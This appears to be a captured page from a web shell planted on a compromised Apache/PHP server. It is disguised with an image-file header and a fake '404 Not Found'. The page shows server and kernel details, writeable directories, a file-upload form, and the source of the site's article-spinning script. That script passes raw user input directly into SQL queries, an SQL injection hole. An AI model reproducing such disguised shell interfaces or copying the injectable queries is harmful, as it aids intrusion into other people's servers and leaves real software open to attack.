����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/spinbai/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/admin.adimi/code/management/spinbai/replace_dataspin.php
<?php
$dataspin_id = (isset($CORE->input['dataspin_id']) && $CORE->input['dataspin_id']>0) ? $CORE->input['dataspin_id'] : 0;
$spinbai_title = $CORE->input['spinbai_title'];
$spinbai_body = trim($CORE->input['spinbai_body']);
$arr['dataspin_id'] = $dataspin_id;
$row_dataspin = $DB->fetch_row($DB->query("SELECT * FROM tb_dataspin WHERE dataspin_id='$dataspin_id' "));
$arr_dataspin = preg_split('/\r\n|[\r\n]/', $row_dataspin['dataspin_keyword']);

/*print_r($arr_dataspin);
exit();*/

foreach ($arr_dataspin as $key=>$val){
   $txt = str_replace(array('{','}'),array('',''),$val);
   $arr_text = explode('|',$txt);

   foreach ($arr_text as $val2){

       //$spinbai_title = str_ireplace($val2,$val,$spinbai_title);
       if(preg_match('#\ '.$val2.'\ #is',$spinbai_title,$match) or preg_match('#\ '.$val2.'\,#is',$spinbai_title,$match) or preg_match('#\ '.$val2.'\:#is',$spinbai_title,$match) or preg_match('#\ '.$val2.'\.#is',$spinbai_title,$match)){
           $arr_search[] = $val2;
           $arr_replace[] = $val;
           $spinbai_title = str_ireplace($match[0],'',$spinbai_title);

       }
       if(preg_match('#\ '.$val2.'\ #is',$spinbai_body,$match_body) or preg_match('#\ '.$val2.'\,#is',$spinbai_body,$match_body) or preg_match('#\ '.$val2.'\:#is',$spinbai_body,$match_body) or preg_match('#\ '.$val2.'\.#is',$spinbai_body,$match_body)){
           $arr_search_body[] = $val2;
           $arr_replace_body[] = $val;
           $spinbai_body = str_ireplace($match_body[0],'',$spinbai_body);
       }
   }

}

/*print_r($arr_search);
echo '<br>';
print_r($arr_replace);
exit();*/
$arr['spinbai_title'] = str_ireplace($arr_search,$arr_replace,trim($CORE->input['spinbai_title']));
$arr['spinbai_body'] = html_entity_decode(str_ireplace($arr_search_body,$arr_replace_body,trim($CORE->input['spinbai_body'])));

$arr_insert = array(
    'spinbai_title'=>trim($CORE->input['spinbai_title']),
    'spinbai_body'=>trim($CORE->input['spinbai_body']),
    'spinbai_type'=>'bai_goc',
    'time_post'=>time(),
    'user_post'=>$ob_user->user_name
);
$row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_spinbai WHERE spinbai_title='".trim($CORE->input['spinbai_title'])."' "));
if(!$row_check){
    $DB->do_insert('tb_spinbai',$arr_insert);
}

echo json_encode($arr);
exit();

print_r($arr_search);
exit();
echo $spinbai_title;
exit();
//$text_final = preg_replace('@#([0-9]+?)#@', '<a href="mylink.php?$1">$1</a>', $text);

$patterns = ['/(([A-Z][a-z]+ )+[A-Z][a-z]+)/'];
$replacements = $arr_dataspin;

$new_text = preg_replace($patterns, $replacements, $spinbai_title);

echo $new_text;
exit();

foreach ($arr_dataspin as $val){

}
print_r($arr_dataspin);
exit();
function process($text)
{
    return preg_replace_callback(
        '/\{(((?>[^\{\}]+)|(?R))*?)\}/x',
        array('replace'),
        $text
    );
}
function replace($text)
{
    $text = process($text[1]);
    $parts = explode('|', $text);
    return $parts[array_rand($parts)];
}
?>

ZeroDay Forums Mini